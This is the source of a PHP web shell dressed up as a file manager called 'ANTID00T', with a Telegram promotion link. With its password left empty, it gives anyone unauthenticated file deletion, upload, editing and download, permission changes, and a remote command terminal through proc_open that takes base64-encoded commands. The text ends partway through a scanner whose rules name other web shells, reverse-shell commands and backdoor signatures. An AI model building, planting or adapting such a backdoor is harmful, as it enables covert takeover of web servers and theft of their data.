<?php
$__FM_FILE = __FILE__;
$ROOT_PATH = str_replace('\\', '/', dirname($__FM_FILE)); $SELF = basename($__FM_FILE);
function fm_uenc($s) { return '~' . rtrim(strtr(base64_encode($s), '+/', '-_'), '='); }
function fm_udec($s) { if (!is_string($s) || strlen($s) < 2 || $s[0] !== '~') return $s; $t = strtr(substr($s, 1), '-_', '+/'); $t .= str_repeat('=', (4 - strlen($t) % 4) % 4); $d = base64_decode($t, true); return ($d === false || $d === '') ? $s : $d; }
foreach (array('dir', 'goto', 'download', 'edit') as $__k) { if (isset($_GET[$__k])) $_GET[$__k] = fm_udec($_GET[$__k]); }
session_start(); if (function_exists('date_default_timezone_set')) { $__tz = @date_default_timezone_get(); if ($__tz === false || $__tz === '' || strpos($__tz, '/') === false) $__tz = 'UTC'; @date_default_timezone_set($__tz); } define('FM_PASSWORD', ''); define('FM_TITLE', 'ANTID00T'); define('FM_TELEGRAM', 'https://t.me/jellyproject'); if (FM_PASSWORD !== '') { if (isset($_POST['fm_login'])) { if ($_POST['fm_password'] === FM_PASSWORD) { $_SESSION['fm_auth'] = true; } else { $auth_error = 'Wrong password!'; } } if (isset($_GET['fm_logout'])) { session_destroy(); header('Location: ' . $SELF . ''); exit; } if (empty($_SESSION['fm_auth'])) { ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo FM_TITLE; ?> — Login</title>
<style>
:root{
  --bg:#0a0f1f;--border:rgba(148,163,184,.16);
  --text:#e7edf8;--muted:#93a3bd;--accent:#38bdf8;--red:#fb7185;
  --grad:linear-gradient(120deg,#38bdf8,#818cf8 55%,#c084fc);
  --mono:'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,Consolas,'Liberation Mono',monospace;
  --sans:'Inter',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;
}
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:var(--sans);min-height:100vh;display:flex;align-items:center;justify-content:center;color:var(--text);
  background:
    radial-gradient(700px 440px at 15% -8%,rgba(56,189,248,.16),transparent 60%),
    radial-gradient(760px 480px at 90% 108%,rgba(129,140,248,.16),transparent 58%),
    var(--bg)}
.card{width:380px;max-width:calc(100vw - 32px);padding:40px 34px 30px;border-radius:22px;text-align:center;
  background:rgba(17,26,46,.65);border:1px solid var(--border);backdrop-filter:blur(18px);-webkit-backdrop-filter:blur(18px);
  box-shadow:0 30px 80px rgba(2,6,18,.55)}
.brand{font-size:34px;font-weight:800;letter-spacing:.1em;
  background:var(--grad);-webkit-background-clip:text;background-clip:text;color:transparent}
.sub{font-size:10.5px;letter-spacing:.38em;text-transform:uppercase;color:var(--muted);margin:10px 0 26px}
.err{color:var(--red);font-size:12px;margin-bottom:14px}
input[type=password]{width:100%;padding:12px 15px;border-radius:12px;font-family:var(--mono);font-size:14px;
  background:rgba(7,12,26,.6);border:1px solid var(--border);color:var(--text);outline:none;margin-bottom:14px;transition:border-color .15s,box-shadow .15s}
input[type=password]:focus{border-color:rgba(56,189,248,.6);box-shadow:0 0 0 3px rgba(56,189,248,.14)}
button{width:100%;padding:12px;border:none;border-radius:12px;cursor:pointer;font-family:var(--sans);font-weight:700;
  font-size:13px;letter-spacing:.1em;color:#fff;background:var(--grad);
  box-shadow:0 10px 26px rgba(99,102,241,.4);transition:filter .15s,transform .15s}
button:hover{filter:brightness(1.12);transform:translateY(-1px)}
.tg{display:inline-flex;align-items:center;gap:8px;margin-top:24px;padding:7px 16px;border-radius:999px;font-size:12px;
  color:#a9b7cd;text-decoration:none;border:1px solid var(--border);background:rgba(148,163,184,.07);transition:border-color .15s,color .15s}
.tg:hover{border-color:rgba(56,189,248,.5);color:#7dd3fc}
.tg svg{width:14px;height:14px}
</style>
</head>
<body>
<div class="card">
    <div class="brand"><?php echo FM_TITLE; ?></div>
    <div class="sub">file manager</div>
    <?php if(!empty($auth_error)) echo '<p class="err">'.$auth_error.'</p>'; ?>
    <form method="post">
        <input type="password" name="fm_password" placeholder="password" autofocus>
        <button type="submit" name="fm_login">UNLOCK</button>
    </form>
    <a class="tg" href="<?php echo FM_TELEGRAM; ?>" target="_blank" rel="noopener">
        <svg viewBox="0 0 24 24" fill="currentColor"><path d="M9.04 15.9l-.38 5.36c.55 0 .79-.24 1.08-.52l2.6-2.48 5.38 3.94c.99.55 1.69.26 1.96-.9l3.55-16.63c.32-1.45-.52-2.02-1.47-1.66L1.14 10.1c-1.42.55-1.4 1.34-.24 1.7l5.32 1.66L18.73 6.3c.58-.38 1.11-.17.68.21L9.04 15.9z"/></svg>
        t.me/jellyproject
    </a>
</div>
</body>
</html>
        <?php
 exit; } } function normalize_path($path) { $path = str_replace('\\', '/', $path); $parts = explode('/', $path); $safe = []; $prefix = ''; foreach ($parts as $i => $p) { if ($i === 0 && preg_match('/^[a-zA-Z]:$/', $p)) { $prefix = $p; continue; } if ($p === '' || $p === '.') continue; if ($p === '..') { if (!empty($safe)) array_pop($safe); continue; } $safe[] = $p; } if ($prefix !== '') { return $prefix . '/' . implode('/', $safe); } return '/' . implode('/', $safe); } function format_size($bytes) { if ($bytes === false || $bytes === null) return '-'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($bytes >= 1024 && $i < count($units) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function perm_to_string($perms) { $info = ''; $info .= (($perms & 0x4000) ? 'd' : '-'); $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; }  function perm_to_html($perms_str) { $out = ''; $len = strlen($perms_str); for ($i = 0; $i < $len; $i++) { $ch = $perms_str[$i]; if ($ch === 'r') { $cls = 'p-r'; $tip = 'read'; } elseif ($ch === 'w') { $cls = 'p-w'; $tip = 'write'; } elseif ($ch === 'x' || $ch === 's' || $ch === 't' || $ch === 'S' || $ch === 'T') { $cls = 'p-x'; $tip = 'execute/special'; } else { $cls = 'p-off'; $tip = 'no permission'; } $out .= '<span class="' . $cls . '" title="' . $tip . '">' . $ch . '</span>'; } return $out; } function svg_icon($name) { $icons = [ 'folder' => '<svg class="ic ic-folder" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 20h16a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.93a2 2 0 0 1-1.66-.9l-.82-1.2A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13c0 1.1.9 2 2 2Z"/></svg>', 'file' => '<svg class="ic ic-file" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>', 'img' => '<svg class="ic ic-img" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="18" height="18" rx="2"/><circle cx="8.5" cy="8.5" r="1.5"/><path d="m21 15-5-5L5 21"/></svg>', 'zip' => '<svg class="ic ic-zip" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 8v13H3V8"/><path d="M1 3h22v5H1z"/><path d="M10 12h4"/></svg>', 'code' => '<svg class="ic ic-code" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 12 8 18"/></svg>', 'audio' => '<svg class="ic ic-audio" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M9 18V5l12-2v13"/><circle cx="6" cy="18" r="3"/><circle cx="18" cy="16" r="3"/></svg>', 'video' => '<svg class="ic ic-video" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="4" width="20" height="16" rx="2"/><path d="M10 9l5 3-5 3z"/></svg>', 'doc' => '<svg class="ic ic-doc" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="8" y1="13" x2="16" y2="13"/><line x1="8" y1="17" x2="16" y2="17"/></svg>', ]; return isset($icons[$name]) ? $icons[$name] : $icons['file']; } function icon_for($is_dir, $ext) { if ($is_dir) return 'folder'; if (in_array($ext, ['png','jpg','jpeg','gif','webp','svg','ico','bmp','avif'])) return 'img'; if (in_array($ext, ['zip','rar','7z','tar','gz','bz2','xz','tgz'])) return 'zip'; if (in_array($ext, ['mp3','wav','ogg','flac','m4a','aac'])) return 'audio'; if (in_array($ext, ['mp4','mkv','avi','mov','webm','flv'])) return 'video'; if (in_array($ext, ['php','js','ts','html','css','py','sh','json','xml','yml','yaml','c','cpp','h','go','rs','rb','java','htaccess'])) return 'code'; if (in_array($ext, ['pdf','doc','docx','txt','md','rtf','log','ini','conf','csv','sql'])) return 'doc'; return 'file'; } $flash = ''; $flash_type = 'info'; function set_flash($msg, $type = 'info') { global $flash, $flash_type; $flash = $msg; $flash_type = $type; }  function fm_decode_payload($data, $enc) { $raw = base64_decode($data, true); if ($raw === false) return null; if ($enc === 'gzip') { if (function_exists('gzdecode')) { $out = gzdecode($raw); } else { $out = @gzinflate(substr($raw, 10, -8)); } return $out === false ? null : $out; } return $raw; } function fm_json($ok, $msg) { header('Content-Type: application/json'); echo json_encode(['ok' => (bool)$ok, 'msg' => $msg]); exit; }  function fm_finalize_payload($tmp, $enc) { $raw = file_get_contents($tmp); if ($raw === false) return false; if ($enc === 'gzip') { if (function_exists('gzdecode')) { $out = gzdecode($raw); } else { $out = @gzinflate(substr($raw, 10, -8)); } if ($out === false) return false; return file_put_contents($tmp, $out) !== false; } return true;  } $current_path = isset($_GET['dir']) && $_GET['dir'] !== '' ? normalize_path($_GET['dir']) : $ROOT_PATH; if (isset($_GET['goto'])) { $target = $_GET['goto']; if ($target === 'up') { $parent = normalize_path($current_path . '/..'); if ($parent !== $current_path) { header('Location: ' . $SELF . '?dir=' . fm_uenc($parent)); exit; } set_flash('Already at the root directory.', 'error'); } else { $new_path = normalize_path($current_path . '/' . $target); header('Location: ' . $SELF . '?dir=' . fm_uenc($new_path)); exit; } } if (isset($_POST['a']) && $_POST['a'] === 'a') { $target = $current_path . '/' . (isset($_POST['name']) ? $_POST['name'] : ''); if (file_exists($target)) { if (is_dir($target)) { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); $ok = true; foreach ($it as $f) { if ($f->isDir()) { if(!rmdir($f->getRealPath())) $ok=false; } else { if(!unlink($f->getRealPath())) $ok=false; } } if (rmdir($target) && $ok) { set_flash('Directory deleted.', 'success'); } else { set_flash('Could not delete the directory.', 'error'); } } else { if (unlink($target)) set_flash('File deleted.', 'success'); else set_flash('Could not delete the file.', 'error'); } } else { set_flash('File not found.', 'error'); } header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'b') { $names = isset($_POST['sel']) ? $_POST['sel'] : []; if (!is_array($names)) $names = []; $ok = 0; $fail = 0; foreach ($names as $name) { $target = $current_path . '/' . $name; if (!file_exists($target)) { $fail++; continue; } if (is_dir($target)) { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); $drok = true; foreach ($it as $f) { if ($f->isDir()) { if(!@rmdir($f->getRealPath())) $drok=false; } else { if(!@unlink($f->getRealPath())) $drok=false; } } if (@rmdir($target) && $drok) $ok++; else $fail++; } else { if (@unlink($target)) $ok++; else $fail++; } } if ($ok > 0 && $fail === 0) set_flash($ok . ' item(s) deleted.', 'success'); elseif ($ok > 0 && $fail > 0) set_flash($ok . ' item(s) deleted, ' . $fail . ' failed.', 'info'); elseif ($ok === 0 && $fail > 0) set_flash($fail . ' item(s) could not be deleted.', 'error'); else set_flash('Nothing was selected.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'c') { $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if ($name !== '' && preg_match('/^[a-zA-Z0-9_\- .]+$/', $name)) { $target = $current_path . '/' . $name; if (!file_exists($target)) { if (mkdir($target, 0755, true)) set_flash('Folder created.', 'success'); else set_flash('Could not create the folder.', 'error'); } else set_flash('An item with the same name already exists.', 'error'); } else set_flash('Invalid folder name.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'd') { $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if ($name !== '') { $target = $current_path . '/' . $name; if (!file_exists($target)) { if (touch($target)) set_flash('File created.', 'success'); else set_flash('Could not create the file.', 'error'); } else set_flash('File already exists.', 'error'); } else set_flash('Invalid file name.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'e') { $name = isset($_POST['name']) ? $_POST['name'] : ''; $mode = isset($_POST['mode']) ? $_POST['mode'] : ''; $target = $current_path . '/' . $name; if (file_exists($target)) { $oct = octdec(str_pad($mode, 4, '0', STR_PAD_LEFT)); if (chmod($target, $oct)) set_flash('Permissions changed.', 'success'); else set_flash('Could not change permissions (server privileges required).', 'error'); } else set_flash('File not found.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'f') { $old = isset($_POST['old_name']) ? $_POST['old_name'] : ''; $new = isset($_POST['new_name']) ? trim($_POST['new_name']) : ''; $old_path = $current_path . '/' . $old; $new_path = $current_path . '/' . $new; if ($new !== '' && file_exists($old_path)) { if (rename($old_path, $new_path)) set_flash('Renamed successfully.', 'success'); else set_flash('Could not rename.', 'error'); } else set_flash('Invalid name.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'g') { if (isset($_FILES['file']) && is_array($_FILES['file']['error']) && isset($_FILES['file']['error'][0]) && $_FILES['file']['error'][0] !== UPLOAD_ERR_NO_FILE) { $count = count($_FILES['file']['name']); $ok = 0; $fail = 0; for ($i = 0; $i < $count; $i++) { if ($_FILES['file']['error'][$i] === UPLOAD_ERR_OK) { $name = $_FILES['file']['name'][$i]; $tmp = $_FILES['file']['tmp_name'][$i]; $dest = $current_path . '/' . basename($name); if (move_uploaded_file($tmp, $dest)) $ok++; else $fail++; } else { $fail++; } } if ($ok > 0) set_flash($ok . ' file(s) uploaded.' . ($fail>0 ? ' '.$fail.' file(s) failed.' : ''), 'success'); else set_flash('Upload failed.', 'error'); } else set_flash('No file selected.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_GET['download'])) { $target = $current_path . '/' . $_GET['download']; if (is_file($target)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } } if (isset($_POST['a']) && $_POST['a'] === 'h') { $name = basename(isset($_POST['name']) ? $_POST['name'] : ''); $content = isset($_POST['content']) ? $_POST['content'] : ''; $enc = isset($_POST['enc']) ? $_POST['enc'] : ''; if ($enc !== '') { $dec = fm_decode_payload($content, $enc); if ($dec === null) { set_flash('Could not decode the file content.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } $content = $dec; } elseif (!empty($_POST['b64'])) { $dec = base64_decode($content); if ($dec !== false) $content = $dec; } $target = $current_path . '/' . $name; if (is_file($target)) { if (file_put_contents($target, $content) !== false) set_flash('File saved.', 'success'); else set_flash('Could not save the file.', 'error'); } else set_flash('File not found.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; }   if (isset($_POST['a']) && $_POST['a'] === 'i') { $name = basename(isset($_POST['name']) ? $_POST['name'] : ''); $idx = isset($_POST['index']) ? (int)$_POST['index'] : 0; $total = isset($_POST['total']) ? (int)$_POST['total'] : 0; if ($name === '' || $total < 1) fm_json(0, 'Bad chunk request.'); $target = $current_path . '/' . $name; if (!is_file($target)) fm_json(0, 'File not found.'); $tmp = $target . '.fmpart'; $data = fm_decode_payload(isset($_POST['data']) ? $_POST['data'] : '', '');  if ($data === null) fm_json(0, 'Could not decode chunk.'); if ($idx <= 0) $w = file_put_contents($tmp, $data, LOCK_EX); else $w = file_put_contents($tmp, $data, FILE_APPEND | LOCK_EX); if ($w === false) fm_json(0, 'Could not write chunk.'); if ($idx >= $total - 1) { if (!fm_finalize_payload($tmp, isset($_POST['enc']) ? $_POST['enc'] : '')) fm_json(0, 'Could not decode payload.'); if (!rename($tmp, $target)) fm_json(0, 'Could not finalize save.'); fm_json(1, 'File saved.'); } fm_json(1, 'Chunk ' . ($idx + 1) . '/' . $total); }   if (isset($_POST['a']) && $_POST['a'] === 'j') { $name = basename(isset($_POST['name']) ? $_POST['name'] : ''); $upid = preg_replace('/[^a-zA-Z0-9]/', '', isset($_POST['upid']) ? $_POST['upid'] : ''); $idx = isset($_POST['index']) ? (int)$_POST['index'] : 0; $total = isset($_POST['total']) ? (int)$_POST['total'] : 0; if ($name === '' || $upid === '' || $total < 1) fm_json(0, 'Bad chunk request.'); $tmp = $current_path . '/.fm-' . $upid . '.part'; $data = fm_decode_payload(isset($_POST['data']) ? $_POST['data'] : '', '');  if ($data === null) fm_json(0, 'Could not decode chunk.'); if ($idx <= 0) $w = file_put_contents($tmp, $data, LOCK_EX); else $w = file_put_contents($tmp, $data, FILE_APPEND | LOCK_EX); if ($w === false) fm_json(0, 'Could not write chunk.'); if ($idx >= $total - 1) { if (!fm_finalize_payload($tmp, isset($_POST['enc']) ? $_POST['enc'] : '')) fm_json(0, 'Could not decode payload.'); $dest = $current_path . '/' . $name; if (!rename($tmp, $dest)) fm_json(0, 'Could not finalize upload.'); @chmod($dest, 0644); fm_json(1, 'Uploaded.'); } fm_json(1, 'Chunk ' . ($idx + 1) . '/' . $total); }  if (isset($_POST['a']) && $_POST['a'] === 'k') { $cmd = ''; if (isset($_POST['q'])) { $raw = base64_decode($_POST['q'], true); if ($raw !== false) $cmd = $raw; } if (trim($cmd) === '' || !is_dir($current_path)) fm_json(0, 'Bad terminal request.'); @set_time_limit(120); $cmdline = (DIRECTORY_SEPARATOR === '\\') ? 'cmd /c ' . $cmd : 'sh -c ' . escapeshellarg($cmd); $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open($cmdline, $descriptors, $pipes, $current_path); if (!is_resource($proc)) fm_json(0, 'proc_open is disabled on this server.'); fclose($pipes[0]); $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $code = proc_close($proc); $out = rtrim((string)$out); if ($err) $out .= ($out !== '' ? "\n" : '') . rtrim((string)$err); if (strlen($out) > 200000) $out = substr($out, 0, 200000) . "\n… output truncated"; header('Content-Type: application/json'); echo json_encode(['ok' => true, 'out' => $out, 'code' => (int)$code]); exit; } function fm_scan_enqueue(&$queue, &$seen, $data, $raw = false) { if (!is_string($data) || strlen($data) < 20 || strlen($data) > 3145728) return; $h = ($raw ? 'r' : 't') . md5($data); if (isset($seen[$h])) return; if (!$raw && preg_match('/[\x00-\x08\x0b\x0e-\x1f]/', substr($data, 0, 4096))) return; $seen[$h] = 1; $queue[] = $data; }
function fm_scan_layers($content) { $layers = array($content); $seen = array('t' . md5($content) => 1); $queue = array($content); $steps = 0;
while ($queue && $steps < 250 && count($layers) <= 48) { $c = array_shift($queue); $steps++;
$t = trim($c);
if (strlen($t) >= 60 && preg_match('/^[A-Za-z0-9+\/=\s_-]+$/', $t)) { $clean = str_replace(array(' ', "\t", "\r", "\n"), '', $t); $d = base64_decode(strtr($clean, '-_', '+/'), true); fm_scan_enqueue($queue, $seen, $d); $dr = base64_decode(strtr(strrev($clean), '-_', '+/'), true); if (is_string($dr)) fm_scan_enqueue($queue, $seen, $dr); }
if (preg_match_all('/[A-Za-z0-9+\/]{50,}={0,2}/', $c, $mm)) { foreach (array_slice($mm[0], 0, 10) as $b64) { $d = base64_decode($b64, true); fm_scan_enqueue($queue, $seen, $d); } }
if (preg_match_all('/<<<[ \t]*\'?([A-Za-z0-9_]+)\'?[ \t]*\r?\n(.*?)\r?\n[ \t]*\1\b/s', $c, $hm, PREG_SET_ORDER)) { foreach (array_slice($hm, 0, 5) as $h) { $body = $h[2]; $d = @gzinflate($body); if (!is_string($d)) $d = @gzinflate(substr($body, 2)); if (!is_string($d)) { $bd = base64_decode($body, true); if (is_string($bd)) $d = @gzinflate($bd); if (!is_string($bd) || !is_string($d)) $d = $bd; } fm_scan_enqueue($queue, $seen, $d, true); } }
foreach (array("\x1f\x8b", "\x78\x9c", "\x78\x01", "\x78\xda", "\x78\x5e") as $magic) { $offs = array(); $pos = 0; while (count($offs) < 6) { $p = strpos($c, $magic, $pos); if ($p === false) break; $offs[] = $p; $pos = $p + 1; } foreach ($offs as $o) { $d = ($magic === "\x1f\x8b") ? @gzdecode(substr($c, $o)) : @gzinflate(substr($c, $o)); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true); } }
$d = @gzinflate($c); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true);
$d = @gzinflate(substr($c, 10, -8)); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true);
$d = @gzuncompress($c); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true);
$d = @gzdecode($c); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true);
$d = @convert_uudecode($c); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d);
if (@preg_match('/(\x5cx[0-9a-fA-F]{2}){8,}/', $c)) { $d = preg_replace_callback('/\x5cx([0-9a-fA-F]{2})/', function($m) { return chr(hexdec($m[1])); }, $c); fm_scan_enqueue($queue, $seen, $d); }
if (preg_match('/(?:=[0-9A-F]{2}){10,}/', $c)) { $d = quoted_printable_decode($c); fm_scan_enqueue($queue, $seen, $d); }
if (preg_match('/(?:%[0-9a-fA-F]{2}){10,}/', $c)) { $d = urldecode($c); fm_scan_enqueue($queue, $seen, $d); }
if (preg_match('/riny|shapgvba|fgevo|pbssre|_CBFG|_TRG/i', $c)) { $d = str_rot13($c); fm_scan_enqueue($queue, $seen, $d); }
if (preg_match('/chr\s*\(\s*\d+\s*\)/', $c) && preg_match_all('/chr\s*\(\s*(\d+)\s*\)/', $c, $cm)) { $d = ''; foreach ($cm[1] as $n) { if ($n >= 9 && $n <= 126) $d .= chr($n); } fm_scan_enqueue($queue, $seen, $d); }
if (preg_match('/[0-9a-fA-F]{60,}/', $c)) { $d = @pack('H*', preg_replace('/[^0-9a-fA-F]/', '', substr($c, 0, 200000))); fm_scan_enqueue($queue, $seen, $d); }
$new = end($queue); if (is_string($new) && !in_array($new, $layers, true)) $layers[] = $new; }
return array_values($layers); }
function fm_scan_rules() { static $rules = null; if ($rules !== null) return $rules; $rules = array(
array('w'=>3,'re'=>'/(c99shell|r57shell|b374k|filesman|anonymousfox|p0wny|phpsploit|weevely|wsoshell|c99mad|priv8|symlink\s*shell|bypass\s*safe_?mode|hacked\s*by|dr7root|alfa-?shell|mini\s*shell|zone-h|defaced|owned\s*by)/i'),
array('w'=>3,'re'=>'/eval\s*\(\s*@?\s*(base64_decode|gzinflate|gzuncompress|str_rot13|gzdecode|urldecode|hex2bin|json_decode|rawurldecode|convert_uudecode|convert_uuencode)\s*\(/i'),
array('w'=>3,'re'=>'/<\?php\s+@?eval\s*\(/'),
array('w'=>3,'re'=>'/riny\s*\(|cuc:\/\/vasb|fgevc\s*\(/i'),
array('w'=>3,'re'=>'/GIF8[9a]?[\s\S]{0,512}<\?php|\x89PNG[\s\S]{0,512}<\?php|\xff\xd8\xff[\s\S]{0,512}<\?php/i'),
array('w'=>3,'re'=>'/\$_(POST|GET|REQUEST|COOKIE)\s*\[[^\]]*\]\s*\(|\$\{(\'|")?_(POST|GET|REQUEST|COOKIE)/'),
array('w'=>3,'re'=>'/@?(include|require)(_once)?\s*\(?\s*@?\s*(\$_(GET|POST|REQUEST|COOKIE)|php:\/\/input|data:\/\/text)/i'),
array('w'=>2,'re'=>'/(assert|create_function|preg_replace|array_map|call_user_func(_array)?|ob_start|array_filter|usort|register_shutdown_function)\s*\(\s*[\'"][^\'"]*\$_(POST|GET|REQUEST|COOKIE)/is'),
array('w'=>2,'re'=>'/preg_replace\s*\(\s*[\'"].*\/e\s*[\'"]/is'),
array('w'=>2,'re'=>'/(gzinflate|gzuncompress|str_rot13|base64_decode)\s*\(\s*[\'"][A-Za-z0-9+\/=]{50,}/'),
array('w'=>2,'re'=>'/(system|shell_exec|passthru|popen|proc_open|exec|pcntl_exec)\s*\([^)]*\$_(POST|GET|REQUEST|COOKIE)/i'),
array('w'=>2,'re'=>'/(shell_exec|passthru|system|popen|proc_open|exec)\s*\(\s*(base64_decode|gzinflate|str_rot13)\s*\(/i'),
array('w'=>2,'re'=>'/(move_uploaded_file|file_put_contents|fopen|fwrite|copy)\s*\([^;]{0,200}\$_(POST|GET|REQUEST)/is'),
array('w'=>2,'re'=>'/(curl_setopt|curl_exec)[\s\S]{0,600}\$_(POST|GET|REQUEST)/i'),
array('w'=>2,'re'=>'/curl_(init|setopt|exec)\s*\([^)]*\$_(POST|GET|REQUEST)|\$_(POST|GET|REQUEST)[^\n]{0,200}curl_(init|setopt|exec)/i'),
array('w'=>2,'re'=>'/(fsockopen|stream_socket_client)\s*\(/i'),
array('w'=>2,'re'=>'/(bash\s+-i|nc\s+-e|ncat\s+-e|reverse\s*shell|python\s+-c\s+.*socket|perl\s+-e\s+.*socket)/i'),
array('w'=>2,'re'=>'/pack\s*\(\s*[\'"]H\*/i'),
array('w'=>2,'re'=>'/(\x5cx[0-9a-fA-F]{2}){12,}/'),
array('w'=>2,'re'=>'/(chr\s*\(\s*\d+\s*\)\s*\.\s*){4,}chr\s*\(\s*\d+\s*\)/'),
array('w'=>2,'re'=>'/php:\/\/(input|filter)/i'),
array('w'=>2,'re'=>'/(auto_prepend_file|auto_append_file|allow_url_include)\s*[,)]/i'),
array('w'=>2,'re'=>'/@?mail\s*\([^)]*\$_(POST|GET|REQUEST)/i'),
array('w'=>2,'re'=>'/\$\w+\s*=\s*str_replace\s*\([^)]+\)\s*;\s*@?(include|require|eval)/is'),
array('w'=>2,'re'=>'/(JFactory|JRequest|JURI|JResponse|JDatabase)[\s\S]{0,500}(INSERT\s+INTO|GRANT\s+|CREATE\s+USER|eval\s*\(|base64_decode)/is'),
array('w'=>2,'re'=>'/eval\s*\(\s*\$?\w+/i'),
array('w'=>2,'re'=>'/base64_decode\s*\(\s*str_rot13|str_rot13\s*\(\s*base64_decode/i'),
array('w'=>2,'re'=>'/GLOBALS\s*\[[\s\S]{0,40}(eval|assert)\s*\(/i'),
array('w'=>1,'re'=>'/base64_decode\s*\(\s*\$_(POST|GET|REQUEST)/i'),
array('w'=>1,'re'=>'/(php_uname|get_current_user)\s*\(/i'),
array('w'=>1,'re'=>'/(chmod|umask)\s*\(\s*[^,]{0,60},\s*0?777/i'),
array('w'=>1,'re'=>'/(safe_mode|disable_functions|backdoor|back?door|shell\.php|cmd=|passthru)/i'),
array('w'=>1,'re'=>'/<\?php\s+(\/\*.*?\*\/\s*)?(echo|print|if)\s*\(?\s*@?file_get_contents\s*\(\s*[\'"]https?:\/\//is'),
array('w'=>1,'re'=>'/\$\w+\s*=\s*@[a-z_]+\s*\(\s*\$_(POST|GET|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\)\s*;?\s*(die|exit|echo)?/i'),
array('w'=>1,'re'=>'/(shell_exec|passthru|system|exec|popen|proc_open)\s*\(\s*\$\w+/i'),
array('w'=>1,'re'=>'/(coinhive|minero\.cc|anonymousfox|mobalive|jsecoin)/i'),
array('w'=>1,'re'=>'/(include|require|file_get_contents|readfile)\s*\(?\s*[\'"]https?:\/\/(?!.*(googleapis|google-analytics|microsoft|yahoo|w3\.org|joomla\.org))/i'),
array('w'=>1,'re'=>'/<\?php\s+\$[a-z0-9_]+\s*=\s*\$_(GET|POST|REQUEST)/i'),
array('w'=>3,'re'=>'/(YamiFool|Fool1337|\[U\]OK\[\/U\]|SilentUploader|hax0r|xnuxer)/i'),
